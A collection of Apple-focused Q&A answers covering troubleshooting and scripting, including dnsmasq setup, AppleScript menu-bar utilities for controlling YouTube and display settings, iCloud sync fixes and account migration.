How can an iPhoto Library be shared between users in a way that facilitates backing up to Time Machine?

You don't have to put the Library on a Disk Image. You can put it on any drive formatted Mac OS Extended (Journaled) - a USB/FireWire/Thunderbolt drive. Time Machine can back up externals too.
From your description - all your wife wants is access and to make occasional albums, then iPhoto Sharing is more simple than trying to share the whole Library.

If you want the other user to be able to see the pics, but not add to, change or alter your library, then enable Sharing in your iPhoto (Preferences -> Sharing), leave iPhoto running and use Fast User Switching to open the other account. In that account, enable 'Look For Shared Libraries'. Your Library will appear in the other source pane.

Any user can drag a pic from the Shared Library to their own in the iPhoto Window.

Remember iPhoto must be running in both accounts for this to work.


Google Smart Lock constantly asking to turn on Bluetooth

I'm having the exact same problem and there are no references to it on the internet except this StackExchange post and a dupe post on another site.  I still don't understand why it's happening or what's causing it.  It doesn't appear to be tied use of any particular app, and sometimes pops up simply when I pick up my phone and unlock it.

I thought disabling Google Advanced Protection would make this go away.  However, even with it disabled and all hardware tokens removed entirely from my account, I still get the popup on my iPhone saying "Turn On Bluetooth to Allow "Smart Lock" to Connect to Accessories".  I uninstalled the Smart Lock app and I haven't seen it pop up since.

So - my workaround is basically not using Google Advanced Protection at all.

I may attempt to re-enable it and do more troubleshooting when I have time.  One thing I forgot to do was go into my iPhone bluetooth settings and "forget" any previous pairings.  Maybe that has something to do with the popup if it's looking for a past device.  Will post edits here if anything changes!


Can I update to python3.7 from python2.7 in my macOS 10.14.1?

You don't need to remove one in order to install the other. You can have both python 2.7 and python 3 on your Mac. (In fact, python 2.7 is part of the OS and can't really be removed).

You just need to make sure that you invoke the correct one, either by typing python3 on the command line, or using #!/usr/bin/env python3 in scripts.


Switch between instances of apps in full screen?

A bonus method if you want to do this entirely with trackpad instead: I forgot to mention that HyperSwitch also adds this functionality into the mac's built in CMD+Tab app switcher.

You need to enable the setting in HyperSwitch to display window previews on the app switcher.

Again, using BetterTouchTool, I used a trackpad gesture to trigger the application switcher. This BetterTouchTool gesture makes the switcher stay open until you click on something, so you can switch windows entirely with trackpad.


macOS, launchctl and dnsmasq for localhost domain spoofing

You've not said which version of MacOS you're on; my reply here is from macOS Sierra Version 10.12.5. (I'm using it in order to run tests against a VMWare installation of ADCS...)

First, the commands to stop and start dnsmasq are:

sudo launchctl stop homebrew.mxcl.dnsmasq
sudo launchctl start homebrew.mxcl.dnsmasq

ETA If launchctl stop doesn't actually stop it, it's likely that the .plistfile (presumably /Library/LaunchDaemons/homebrew.mxcl.dnsmasq.plist contains the lines

<key>KeepAlive</key>
<true/>

If you don't want it to be always on, change that to

<key>KeepAlive</key>
<false/>

instead. Or you can disable it with

sudo launchctl disable homebrew.mxcl.dnsmasq

The next time you want to turn it on, run

sudo launchctl enable homebrew.mxcl.dnsmasq

Second, you should check the other values of your dnsmasq.conf file. Here's mine:

[jenny@temeraire ~] $ grep -v ^# /usr/local/etc/dnsmasq.conf | grep -v ^$
domain-needed
bogus-priv
resolv-file=/usr/local/etc/resolv.conf
server=/ad.dybedahl.se/192.168.226.10
server=/226.168.192.in-addr.arpa/192.168.226.10
listen-address=127.0.0.1
no-negcache

Note the line resolv-file. It tells dnsmasq which nameservers to use for hosts that aren't in the dnsmasq config. In my case, it looks like this:

[jenny@temeraire ~] $ more /usr/local/etc/resolv.conf
nameserver 8.8.8.8
nameserver 8.8.8.4

So all DNS lookups that aren't answered by my virtual AD server will be handled by Google's nameservers, meaning that I can still connect to hosts that aren't in my config.

Third, to debug whether dnsmasq acts properly, don't use ping. Instead, use dig, like so:

dig @127.0.0.1 abc.test

To test whether your system is using dnsmasq as its resolver, again use dig:

dig abc.test

It will tell you what nameserver it's using, among other things.

Dig will give you information about how the lookup is actually done.

Fourth, in order to use dnsmasq as your resolver, you need to also change /etc/resolv.conf to point to 127.0.0.1 instead of whatever it now points at. You should start by copying your current /etc/resolv.conf to /usr/local/etc/resolv.conf, so that dnsmasq will know what nameservers to use. Then change /etc/resolv.conf to read

nameserver 127.0.0.1

On my laptop, I do this in System Preferences -> Network -> DNS. I'm not sure how you do it on a server; perhaps simply editing the file will work.


iMac external display (EA232WMi) won't sleep

Lets get more surgical here.

Facts are:
The external monitor stays in sleep mode on another Mac. It is unknowen if that mac has a Mavericks installed.

The Console report shows nothing unusual.

The Monitor configuration profile is still to be questioned (since it identifies the monitor as TV capable?

Recommended actions:

Use the PleaseSleep app
http://www.dragonone.com/products/macosx/pleasesleep/

Alternatively -Verify, Repair or replace the existing ICC profile

To verify use the Colorsync Utility and publish the current monitor profile

To repair use the ColorSyc utility and perform the repair of the external Monitors ICC

Alternatively download and install new ICC profile

New ICC profile for TFT monitor
http://www.tftcentral.co.uk/icc_profiles/nec_ea232wmi.icc


Automator Change to directory of dropped files before running Shell command

This is very easy in zsh. You can use the :h option to a variable to refer to the head of its full path:

#!/usr/bin/env zsh -f

PATH="/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin"

for i in "$@"
do

    FILE="$i"

    cd "$FILE:h"

    # do other things here

done

In a shell like bash you would need to use the dirname command:

#!/usr/bin/env bash

PATH="/usr/local/bin:/usr/bin:/usr/sbin:/sbin:/bin"

for i in "$@"
do

    FILE="$i"

    DIR=$(dirname "$FILE")

    cd "$DIR"

    # do other things here

done


How to pause YouTube video via keyboard shortcut or from menu bar?

********** UPDATED SOLUTION **********
This update is a direct solution to the OP's original question.
This following AppleScript code will add a "Play/Pause YouTube" status menu item with the options to play or pause any YouTube video in either Google Chrome or Safari, whether the browsers are visible or not. Save this following AppleScript code as a "stay open" application in Script Editor.app.
use framework "Foundation"
use framework "AppKit"
use scripting additions

property StatusItem : missing value
property selectedMenu : ""
property defaults : class "NSUserDefaults"
property internalMenuItem : class "NSMenuItem"
property externalMenuItem : class "NSMenuItem"
property newMenu : class "NSMenu"

my makeStatusBar()
my makeMenus()

on makeStatusBar()
    set bar to current application's NSStatusBar's systemStatusBar
    set StatusItem to bar's statusItemWithLength:-1.0
    -- set up the initial NSStatusBars title
    StatusItem's setTitle:"Play/Pause YouTube"
    -- set up the initial NSMenu of the statusbar
    set newMenu to current application's NSMenu's alloc()'s initWithTitle:"Custom"
    newMenu's setDelegate:me (*
    Requied delegation for when the Status bar Menu is clicked  the menu will use the delegates method (menuNeedsUpdate:(menu)) to run dynamically update.*)
    StatusItem's setMenu:newMenu
end makeStatusBar

on makeMenus()
    newMenu's removeAllItems() -- remove existing menu items
    set someListInstances to {"Play/Pause YouTube - Safari", "Play/Pause YouTube - Chrome", "Quit"}
    repeat with i from 1 to number of items in someListInstances
        set this_item to item i of someListInstances
        set thisMenuItem to (current application's NSMenuItem's alloc()'s initWithTitle:this_item action:("someAction" & (i as text) & ":") keyEquivalent:"")
        (newMenu's addItem:thisMenuItem)
        (thisMenuItem's setTarget:me) -- required for enabling the menu item
    end repeat
end makeMenus

on someAction1:sender
    clickClassName2("ytp-play-button ytp-button", 0)
end someAction1:

on someAction2:sender
    clickClassName("ytp-play-button ytp-button", 0)
end someAction2:

on someAction3:sender
    quit me
end someAction3:

to clickClassName2(theClassName, elementnum)
    if application "Safari" is running then
        try
            tell application "Safari"
                tell window 1 to set current tab to tab 1 whose URL contains "youtube"
                do JavaScript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].click();" in document 1
            end tell
        end try
    end if
end clickClassName2

to clickClassName(theClassName, elementnum)
    tell application "Google Chrome" to (tabs of window 1 whose URL contains "youtube")
    set youtubeTabs to item 1 of the result
    tell application "Google Chrome"
        execute youtubeTabs javascript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].click();"
    end tell
end clickClassName

If you want your new... Play Pause YouTube Status Menu.app to only be visible in the status menu and not in the Dock, you can right-click on the app in Finder and select the option to "Show Package Contents".  In the Contents folder, open the Info.plist file in any text editor and add the following two lines.  Then save and close that file.
<key>LSBackgroundOnly</key>
<true/>

If you are not comfortable editing the .plist file directly, this following AppleScript code will allow you to choose the application to hide from the Dock when it is running.
If the chosen application is already set to be hidden from the Dock, the only option you will be given is to unhide the application from being visible in the Dock while it is running… And vice versa.
This script is especially handy for a hiding "stay open applications" with idle handlers' application icons from appearing in the Dock while running.
property fileTypes : {"com.apple.application-bundle"}
property plistFileItem : "  <key>LSBackgroundOnly</key>" & linefeed & " <true/>"

activate
set chosenApp to (choose application with prompt ¬
    "Choose  The Application You Want Hidden From The Dock While It Is Running" as alias)

tell application "System Events" to set appName to name of chosenApp
set plistFile to ((POSIX path of chosenApp) & "/Contents/info.plist") as string
set plistFileContents to (read plistFile)
set plistFileItemExists to plistFileItem is in plistFileContents

if plistFileItemExists then
    activate
    set theChoice to button returned of (display dialog ¬
        "Would you like to un-hide " & quote & appName & quote & ¬
        " from the Dock while it's running?" buttons {"Cancel", "Un-Hide"} ¬
        default button 2 cancel button 1 with title "Make A Choice")
else
    activate
    set theChoice to button returned of (display dialog ¬
        "Would you like to hide " & quote & appName & quote & ¬
        " from the Dock while it's running?" buttons {"Cancel", "Hide"} ¬
        default button 2 cancel button 1 with title "Make A Choice")
end if

if theChoice is "Hide" then
    tell application "System Events" to tell contents of property list file plistFile ¬
        to make new property list item at end with properties ¬
        {kind:string, name:"LSBackgroundOnly", value:true}
else if theChoice is "Un-Hide" then
    tell application "System Events" to tell contents of property list file plistFile ¬
        to make new property list item at end with properties ¬
        {kind:string, name:"LSBackgroundOnly", value:false}
else
    return
end if

************ ORIGINAL SOLUTION ************
This script will click on the Play/Pause button on a video playing in YouTube in Google Chrome, whether or not Google Chrome is visible.
to clickClassName(theClassName, elementnum)
    tell application "Google Chrome" to (tabs of window 1 whose URL contains "youtube")
    set youtubeTabs to item 1 of the result
    tell application "Google Chrome"
        execute youtubeTabs javascript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].click();"
    end tell
end clickClassName

clickClassName("ytp-play-button ytp-button", 0)

This is the script version to work with Safari
to clickClassName2(theClassName, elementnum)
    tell application "Safari"
        tell window 1 to set current tab to tab 1 whose URL contains "youtube"
        do JavaScript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].click();" in document 1
    end tell
end clickClassName2

clickClassName2("ytp-play-button ytp-button", 0)

In an effort to give the OP A complete AppleScript solution, I have taken my original answer one step further..
UPDATE
I finally figured it out.  I created an AppleScript application in Xcode.  Originally, my project only started with a one button window to control YouTube videos currently active in Chrome or Safari.  This project has grown a little bit into an application that contains several utilities.  This GIF shows the YouTube Pause button controlling YouTube in Chrome and Safari.  I linked the button actions to the AppleScript I originally wrote in script editor.

This is a snapshot of the Xcode application Working in the AppDelegate.applescript file.

Here is the code in that file I created to make the program work.
script AppDelegate

    property parent : class "NSObject"

    -- IBOutlets
    property theWindow : missing value

    to clickClassName(theClassName, elementnum) -- Handler for pausing YouTube in Chrome
        if application "Google Chrome" is running then
            try
                tell application "Google Chrome" to (tabs of window 1 whose URL contains "youtube")
                set youtubeTabs to item 1 of the result
                tell application "Google Chrome"
                    execute youtubeTabs javascript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].click();"
                end tell
            end try
        end if
    end clickClassName

    to clickClassName2(theClassName, elementnum) -- Handler for pausing YouTube in Safari
        if application "Safari" is running then
            try
                tell application "Safari"
                    tell window 1 to set current tab to tab 1 whose URL contains "youtube"
                    do JavaScript "document.getElementsByClassName('" & theClassName & "')[" & elementnum & "].click();" in document 1
                end tell
            end try
        end if
    end clickClassName2

    on doSomething:sender -- Calls the Chrome YouTube Handler
        clickClassName("ytp-play-button ytp-button", 0)
    end doSomething:

    on doSomething14:sender -- Calls the Safari YouTube Handler
        clickClassName2("ytp-play-button ytp-button", 0)
    end doSomething14:

    on doSomething2:sender -- Hide and or show the Menu Bar
        tell application "System Preferences"
            reveal pane id "com.apple.preference.general"
        end tell
        tell application "System Events" to tell process "System Preferences" to tell window "General"
            click checkbox "Automatically hide and show the menu bar"
        end tell
        delay 1
        quit application "System Preferences"
    end doSomething2:

    on doSomething3:sender -- Sets Display resolution to the second lowest setting (15 inch Built In Retina Display - MBP)
        tell application "System Preferences"
            reveal anchor "displaysDisplayTab" of pane "com.apple.preference.displays"
        end tell
        tell application "System Events" to tell process "System Preferences" to tell window "Built-in Retina Display"
            click radio button "Scaled" of radio group 1 of tab group 1
            click radio button 2 of radio group 1 of group 1 of tab group 1
        end tell
        quit application "System Preferences"
    end doSomething3:

    on doSomething4:sender -- Sets Display resolution to the second highest setting (15 inch Built In Retina Display - MBP)
        tell application "System Preferences"
            reveal anchor "displaysDisplayTab" of pane "com.apple.preference.displays"
        end tell
        tell application "System Events" to tell process "System Preferences" to tell window "Built-in Retina Display"
            click radio button "Scaled" of radio group 1 of tab group 1
            click radio button 4 of radio group 1 of group 1 of tab group 1
        end tell
        quit application "System Preferences"
    end doSomething4:

    on doSomething5:sender -- Sets Display resolution to the highest setting (15 inch Built In Retina Display - MBP)
        tell application "System Preferences"
            reveal anchor "displaysDisplayTab" of pane "com.apple.preference.displays"
        end tell
        tell application "System Events" to tell process "System Preferences" to tell window "Built-in Retina Display"
            click radio button "Scaled" of radio group 1 of tab group 1
            click radio button 5 of radio group 1 of group 1 of tab group 1
        end tell
        quit application "System Preferences"
    end doSomething5:

    on doSomething6:sender -- Sets Display resolution to the lowest setting (15 inch Built In Retina Display - MBP)
        tell application "System Preferences"
            reveal anchor "displaysDisplayTab" of pane "com.apple.preference.displays"
        end tell
        tell application "System Events" to tell process "System Preferences" to tell window "Built-in Retina Display"
            click radio button "Scaled" of radio group 1 of tab group 1
            click radio button 1 of radio group 1 of group 1 of tab group 1
            delay 0.1
            click button "OK" of sheet 1
            quit application "System Preferences"
        end tell
    end doSomething6:

    on doSomething7:sender -- Displays a dialog with your current IP
        tell current application to display dialog (do shell script "curl ifconfig.io") with icon 2 buttons "OK" default button 1 with title "Your Current IP Address Is.." giving up after 5
    end doSomething7:

    on doSomething8:sender -- Shows hidden files in Finder
        do shell script "defaults write com.apple.finder AppleShowAllFiles TRUE\nkillall Finder"
    end doSomething8:

    on doSomething9:sender -- Hides hidden files in Finder if they are showing
        do shell script "defaults write com.apple.finder AppleShowAllFiles FALSE\nkillall Finder"
    end doSomething9:

    on doSomething10:sender  -- Brightness Highest
        tell application "System Preferences"
            reveal anchor "displaysDisplayTab" of pane "com.apple.preference.displays"
        end tell
        tell application "System Events" to tell process "System Preferences" to tell window "Built-in Retina Display"
        set value of value indicator 1 of slider 1 of group 2 of tab group 1 to 12
        end tell
        quit application "System Preferences"
    end doSomething10:

    on doSomething11:sender -- Brightness Lowest
        tell application "System Preferences"
            reveal anchor "displaysDisplayTab" of pane "com.apple.preference.displays"
        end tell
        tell application "System Events" to tell process "System Preferences" to tell window "Built-in Retina Display"
        set value of value indicator 1 of slider 1 of group 2 of tab group 1 to 0.1
        end tell
        quit application "System Preferences"
    end doSomething11:

    on doSomething12:sender -- Zoom
        tell application "System Events"
            key code 28 using {command down, option down}
        end tell
    end doSomething12:

    on doSomething13:sender -- Dictation On/Off
        tell application "System Events"
            keystroke "x" using {option down}
        end tell
    end doSomething13:

    on doSomething15:sender -- Enables Screensaver as Desktop background
        tell application "System Events"
            do shell script "/System/Library/Frameworks/ScreenSaver.framework/Resources/ScreenSaverEngine.app/Contents/MacOS/ScreenSaverEngine -background"
        end tell
    end doSomething15:

    on doSomething16:sender -- Kills Screensaver Desktop background
        try
            tell application id "com.apple.ScreenSaver.Engine" to quit
        end try
    end doSomething16:

    on applicationWillFinishLaunching:aNotification
        -- Insert code here to initialize your application before any files are opened

    end applicationWillFinishLaunching:

    on applicationShouldTerminate:sender
        -- Insert code here to do any housekeeping before your application quits

        return current application's NSTerminateNow
    end applicationShouldTerminate:

    on applicationShouldTerminateAfterLastWindowClosed:sender -- Quits app when clicking red x

        return TRUE

    end applicationShouldTerminateAfterLastWindowClosed:

end script

I updated the code so that the YouTube tab in Chrome doesn't need to be the visible or active tab when clicking the YouTube Pause Button created in Xcode
Here is a link to download the entire Xcode project

WARNING: The desktop screen saver function will freeze the App.  After force quit and re-open, The desktop screensaver function to exit active screen saver will work.
Afterthoughts:  I probably should have wrapped each of the AppleScript codes in "try" statements to avoid all sorts of error messages for those playing with this project,who don't have the same system and computer type that I do. (MacBook Pro 15" OS Sierra 10.12.6)
For the zoom function To work, it must be enabled in system preferences.

For the toggling of “Dictation on/off” to function correctly, the short cut to enable dictation commands in system preferences must match the shortcut used in the script

on doSomething13:sender -- Dictation On/Off
    tell application "System Events"
        keystroke "x" using {option down}
    end tell
end doSomething13:

Currently I am working on the ability to toggle between the application running windowed or menu bar only


Is there a quality difference between the unofficial iPhone replacement screens and the official?

I purchased one of the cheap replacements and it seemed identical during installation and right afterward, but it soon became apparent that the oleophobic (oil "fearing") coating  was either missing or very different. My screen is constantly filmy and gross and is extremely difficult to clean. It will come clean after a lot of buffing, but within an hour or two is back to being gruesome.

(I'm at the end of my contract and will soon replace it; otherwise I'd spring for the full-priced one and swap it out in an instant.)


Time Capsule Multiple Backups: Both Encrypted?

Encrypted backups only work when the backup disc is connected via USB.

It seems that there is a workaround for it using sparse bundle:
Mac OSX Lion Secure Backup to Time Capsule


How do I pause a download in the Launchpad in OS X Lion?

Open Mission Control and just click on the Downloading Xcode icon. This will pause it. Clicking again will resume.


Configure mail client for Adobe Acrobat plugin 9.4.0

I believe it looks to see which is your default mail app.  I also think that it will pretty much only work with Mail.app.  If you go into Mail.app, check which is the default email app (and re-set it, if required) on the Preferences -> General screen.  I bet setting it to Mail will fix your problem.


No, there's no special app needed.

It sounds like you're using some kind of adapter/dongle for converting between the Lightning interface and a simple TRS. You do not mention what dongle or microphone, you're using.

It sounds likely that you are using incorrect cables. The TRS plug comes in two versions - the CTIA version used on iPhone (and most Android phones), and the OMTP version used on some Android phones and especially older equipment. If you have the incorrect verison, you'll get no voice recorded.


What's a free or cheap text-to-speech program that is available for commercial use?

eSpeak is a brilliant opensource text to speech project. It's the default TTS software on many Linux distributations, but there's a Mac version available and it works great. There is also a project based on eSpeak called Mbrola which adds "singing" functionality.

Fwiw, I really don't see Apple suing you if you use the built-in TTS they provide.


Upgraded to iOS 11 iPhone 5S won't connect to data

Disable Wi-Fi Calling. When you disable Wi-Fi and have Wi-Fi Calling enabled it wont connect to cellular data. Not sure if this is related to how T-Mobile Wi-Fi Calling is, or if it is an iOS issue.

Steps:

Goto Settings
Cellular
Wi-Fi Calling
Toggle Off Wi-Fi Calling on This iPhone
Go Back to Cellular and Toggle On Cellular Data.


CSV from Windows Server Unable to open on Linux/Mac

Since file reports that the supposed .csv file is a Zip archive, it may actually be an XLSX (Microsot Excel) file whose file extension was simply changed from .xlsx to .csv. Try changing the file extension to .xlsx to see if this is the case.


AppleScript: 'exists' returns true every time

I am by no stretch of the imagination an Applescript expert, but this is what I have gleaned from my own fumbling over the years.
I'd appreciate corrections if there are any inaccuracies, or better methods.. but with some 'why it works' for newbies ;-)

What you're actually doing is asking Script Editor if the string "/Users/[User]/skfhshfkh/hfjhsfhsj/" exists… which it does, you just told it that it did ;-)
Script Editor doesn't know what a file is, nor how to look for one, so it's treating the string as a string not a path.

The simplest way to do this is use either the Finder or System Events which have their own 'exists' routine.

In this first example, you can input as either POSIX file or just file, & adjust your syntax accordingly.

So, this should work, for a file…

set msg to "No sign of it"
tell application "Finder"
    --if exists POSIX file "/volumes/MacintoshHD/Users/[user]/Desktop/testFile.rtf" then
    --or
    --if exists file ((path to home folder as text) & "Desktop:" & "testFile.rtf") then
    --or
    --if exists file "MacintoshHD:Users:[user]:Desktop:testFile.rtf" then
    --but NOT
    --if exists POSIX file ((path to home folder as text) & "Desktop:" & "testFile.rtf") then
        set msg to "Yeah, found it!"
    end if
end tell

display dialog msg

Displaying the dialog outside the Finder tell prevents Finder coming to the front to just to present it.

Alternatively, you could set your path outside of the exists function itself.
This would be my preferred method, & uses System Events instead of Finder...

set theFile to ((path to home folder as text) & "Desktop:" & "testFile.rtf")
set msg to "No sign of it."

tell application "System Events"
    if exists file theFile then
        set msg to "Yeah, found it!"
    end if
end tell

display dialog msg

Note that using System Events, you must put the dialog outside the tell, as System Events will not display the dialog itself.

In either of these examples, trying to start with a POSIX file & attempting to concatenate the additional path by using & "Folder:" & "Filename" won't do what you expect.
This is one point on which I don't know why it doesn't, but it doesn't.

One last note - if you are looking for a file, then all the above works.
If you are looking for a folder, then use this…

set theFolder to ((path to home folder as text) & "Desktop:" & "testFolder:")
set msg to "No sign of it."

tell application "System Events"
    if exists folder theFolder then
        set msg to "Yeah, found it!"
    end if
end tell

display dialog msg


problem with deleting some texts and then not being in chronological order

Totally concur... On my old 4S, when I would delete some but not necessarily ALL of some messages in a conversation, that conversation would drop in my messages to its proper place, based on the date of the that last text.

With 6S, someone from 6 mos ago can send you a text.  After you reply and delete it, that message thread from 6 mos ago stays on top.

With the old 4S, they would drop down to their proper place based on date of last text.

That's a big bummer about the new iPhones versus the old ones.  And it makes it easy for something important to fall off the radar.

.


Why is the minimize window function disabled sometimes?

There was an old QuickTime bug that caused the minimise button to become disabled on some windows.

But also be aware the app can disable the minimise button itself.


Is there a way to setup an ad-hoc network without "losing" the device?

In the early days of 802.11b, you could set a radio to either be in Access Point -> Station mode, or AdHoc, but not both simultaneously.  And, depending on the vendor, client devices, such as PCMCIA cards, couldn't be AP's without special firmware or software.

Nowadays, operating systems and chipset vendors have blurred the lines between infrastructure networks and adhoc to make tethering and home sharing easier.  Nevertheless, just as you can't connect to more than one SSID (wireless network) at a time, you can't host an SSID as an AP and join another one as a client.  Also, most client devices (computers, phones, and tablets) don't have the radio hardware necessary to be a repeater.

To do what you want, you'd need two WiFi adapters, one integrated and one USB, or an external device that acts as a WiFi-Ethernet bridge.


The pipe (|) connect the standard output of a program to the standard input of another program. open does not read from stdinby default but from a file given as argument. It needs the -foption to read from the standard input.

That's why your first example work but not your second one.

syslog | tail | open -tf works well.


Why emacs commands work everywhere on macOS?

I can use emacs commands everywhere on macOS, which is good. But why?

Normally, asking “Why Apple does this, that, or the other thing” would be considered off topic, however, this one actually has an answer based in history.

The short answer to this is because the Emacs keybindings support is implemented in the Cocoa Text System.

  My guess is they are actually Unix commands and emacs borrowed them?

They are not, however, Unix commands, because already pointed out in another answer, they are not found in the Unix specification. Also, they are not “universal” and cannot be used everywhere.  They can only be used where the application(s) make use of the Cocoa Text System.  For example, they cannot be used in Microsoft Word.

So, what does Cocoa have to do with anything?  Well, Cocoa is derived from OpenStep which was a project developed by NeXT and Sun Microsystems to provide a NeXTSTEP like environment to non-NeXTSTEP operating systems.  NeXT produced an OpenStep variation for its own Mach-based Unix.

Now remember, the macOS Unix kernel is Mach-based.

So, how did Apple get its hands on Mach and OpenStep?  Well, on February 7, 1997 Apple acquired NeXT (along with Steve Jobs).  The derivative products from that purchase was, you guessed it, macOS based on the Mach kernel, OpenStep, and all the other goodies NeXT had in their portfolio.

So, why did Apple bring over all those keybindings as they developed Cocoa?  It only made sense for Apple bring over an environment developers (lots and lots of them from the Unix-verse) were already familiar with.  Cocoa, derived from OpenStep, implemented the Emacs functionality already built into OpenStep.


Can't successfully download nor resume mac os x mountain lion

It seemed that the ISP was causing it. I took to an authorized retailer and it did it for me.


Thunderbolt Gen 1 and 2 don’t support USB 3.1, Type C or even 3.0 for
  that matter. An adapter wouldn’t have fixed this problem. However,
  Apple is releasing Thunderbolt 3 later in 2015. It’s not ready yet,
  because it’s developed with Intel and now Gen 3’s functionality is
  tied to Skylake chips – which will replace Broadwell shortly. I know.
  You’re thinking “But Broadwell just came out!” That’s true, but only
  because of delays. Now, you may wonder how a new MacBook without a
  Thunderbolt port or a Skylake chip will support a Thunderbolt Display.

  Well, in short it won’t. That is unless Apple releases a firmware
  update for their Thunderbolt cables. Which they won’t. So it probably
  won’t support it. Considering the last time they updated it, I think
  we’ll see an update at WWDC, with a USB C port on the display itself.

http://9to5mac.com/2015/03/09/apples-12-macbook-gets-new-usb-c-power-vga-usb-and-hdmi-adapters/

  What might be a solution is an ungodly combination of:

  StarTech’s female Mini DisplayPort to male DisplayPort adapter ($4.50)
  A female-to-female DisplayPort coupler ($13.50)
  a DisplayPort-to-HDMI cable (as little as $6)
  Apple’s $79 USB-C Digital AV Multiport Adapter, which has an HDMI port
  on it in addition to pass-through USB-C power and USB Type A 3.1 for
  data

http://www.macworld.com/article/2966043/displays/how-to-connect-an-apple-display-to-a-usb-c-macbook.html

Good luck ^^


With multiple displays: how best to keep the Dock to one side, and on the same display as the menu bar?

As far as I can find, putting the Dock on the left side of the right monitor or the right side of the left monitor can't be done.

But let's look at other possible solutions to your problem. Point #1 notes that you don't want the dock on the right because it would interfere with disk icons on the desktop. And when you first drag the Dock to the right side, it does indeed cover the disk icons on the right side. But if you select "clean up" on the Desktop once the Dock is positioned on the right, it will move those icons over to make room for the Dock. This is a temporary solution, however, because newly mounted drives will still be buried by the dock. If you select "clean up by name", however, then newly mounted drives will fit into the grid created and not be covered by the Dock.

Not the solution you were looking for, I know, but it might be a workaround.


Why doesn't AirDrop work on older network adapters?

Basically what AirDrop does is it turns your Mac into a WiFi access point in the 5 GHz band. That's why it's zero configuration, works whether or not the Macs are in the same wireless network, or in ANY wireless network.

However, to create this second network, the adapter needs to support multiple networks.

This also explains why it only works with WiFi and not with e.g. one Mac wired into a base station and the second Mac using WiFi to connect to it.


iCloud Drive is stuck uploading items and no longer syncs

Happened to me as well, here is what I did:

Back up all items in the Documents and Desktop folders
Open up System Preferences
Click on iCloud
Click on Options next to iCloud Drive
If Desktop and Document Folders is disabled, enable it
If it enabled, un-enable it.
Uncheck the Optimize Mac Storage and click Done
Redo the opposite of this to re-enable iCloud
Move all Documents and Desktop items back to their respective area.

It is helpful to note if you are experiencing sync issues in any of the other categories in iCloud Drive, try disabling them and then re-enabling them.


How do I copy a user profile between Macs?

Run migration assistant on both Macs. If you can update each to the latest patch for your version of OS, that often is good but remember you have to always move data to a same or newer OS this manner. Moving data from a newer system to an older one is not supported.

https://support.apple.com/en-us/HT204350

It will let you bring over one user account with ease. Her password and desktop and settings and preferences will all be preserved to the maximum extent possible. If both macs are the same version of the OS - it's even very easy to delete (back up) the older user and move the newer one back when the portable returns from its trip.


Or just use the "resvport" option with the mount command.

mount -o resvport nasbox.local.com:/try /mnt


Restore Default settings Apple TV, how do I pair a new remote?

Have you deleted the original pairing from your Remote app to the Apple TV? I know I have had issues with my iTunes library not connecting after a OS reinstall even though I was connected to the same library, deleting the pairing and then reconnecting fixed my issue.


I went to the Genius Bar to solve this. They did the standard procedure and the device paired.

The explanation for why it was not working for me was that a Magic Keyboard will not pair while it is charging. I had the keyboard plugged into a USB port for charging at the time. To use or pair the keyboard, make sure it is unplugged.


Apple mail sending "Untitled attachment #####.htm" to outlook along with other attachments

Do you see these strange attachments in some version of Outlook?

In my own testing it seems to be that if there is anything after an attachment then Outlook interprets it as another unnamed attachment and generates an ATT0001.txt file (I'm assuming different versions of Exchange or Outlook might result in different names for the attachments).

If you make sure that the attached PDF is the last thing in the email then Outlook seems to parse the emails okay.

About the Insert attachments at End of Message option on the Edit -> Attachments menu in Mail. By default if you drag an attachment onto a Mail message window it'll place the attachment wherever you drop the attachment. But if you select the Insert attachments at End of Message option, then when you try to attach a file Mail will automatically drop it at the end of the message no matter where you actually position the cursor as you drag the attachment over the window. However it won't prevent you subsequently typing text after the attachment, which results in the ATTxxxx.txt file.

Long story short, make sure the PDF attachment is at the very end of the email and Outlook should parse the email okay.

Let us know how you get on.


How to trigger iOS-Alarm to start another app in iOS Shortcuts-App?

I don't know about iOS devices, but if you have a HomePod, you could use the Home.app.
Home.app > Bottom of screen > Automation > Create Automation
Select "A Time of Day Occurs" > Time Of Day > Next
Select your HomePod > Next
Select When > Then Turn Off > set timer
Select Media > Choose Audio
Radio
Select station.
This may help others.


Are "Extensions" something that disappeared many Mac OS versions ago?

Your expectation that extensions are only a thing of the past is incorrect.

Modern Mac OS X uses kernel extensions, which are not identical to the "old school" extensions used in Mac OS 9 and earlier, but yes, there are still such a thing as extensions. You can find them in /System/Library/Extensions.

Apple expands on this in this support document about Safe Mode.


Is a .sparseimage file with a strong password safe?

Your password will not be compromised by a brute-force attack. More likely it will fall to some other attack such as a password grabber or malware. Your computer will be able to open the sparseimage and therefore the obvious target to attack is your computer. The sparseimage and its password is safe enough, but you should ask yourself a few questions about why you want to approach securing your data this way.

Consider securing your high-value data in a small encrypted sparsebundle image within your Home folder, rather than unsecured within your Home folder and then trying to password protect it when you copy the whole Home folder into Dropbox
Storing your home folder in Dropbox sounds to me like a poor design (I am not a security expert). If you are looking for backup plans then Time Machine disks can be password protected too (this results in a sparsebundle protected by a strong password. Your Time Machine disk image, and the multiple machine snapshots which it contains, can then be stored in an off-site store of your choice. The Time Machine disk image can only be accessed with your strong password
Take care when trusting to estimates of password strength. A 17 character password can appear to be strong to an algorithm designed only to look for length and variety, but may well appear in the many non-dictionary password tables. For example "passwordpassword!" Contains 17 characters, but you can be sure that someone somewhere has already used it and it probably appears in a huge password table somewhere.


How can I make files I drag to the desktop stay where I put them?


Drop window as maximized to a new desktop instead of fullscreen

Dragging a window to the Spaces bar as you describe will always create a full-screen space for that app, but there's another method to add a space, drag a window to the Add Space + icon on the right side of the Spaces bar:

This method, described in this support article, will create a new space with the window you dragged.

The window will retain its size and won't be maximized, though. However, you can maximize it yourself before or after dragging:

either by using Window>Zoom (doesn't always work as you'd expect)
or as follows: while pressing Option, drag a corner of the window to the nearest corner of your screen. It will expand the window in all directions, until the window takes up the full screen.


I thought: surely there must be a way to unmount the USB storage. It's counter-intuitive to just unplug a device without first unmounting it in any OS. I looked (and looked some more) in System Preferences and in Files but still thought: I'm missing something here...  Nope: Apple's guidance is just to unplug the USB device.

As of this writing (20191211) you just unplug it. I'd qualify that advice with the further suggestion to check the device's light to see it's not doing anything before ripping it out.

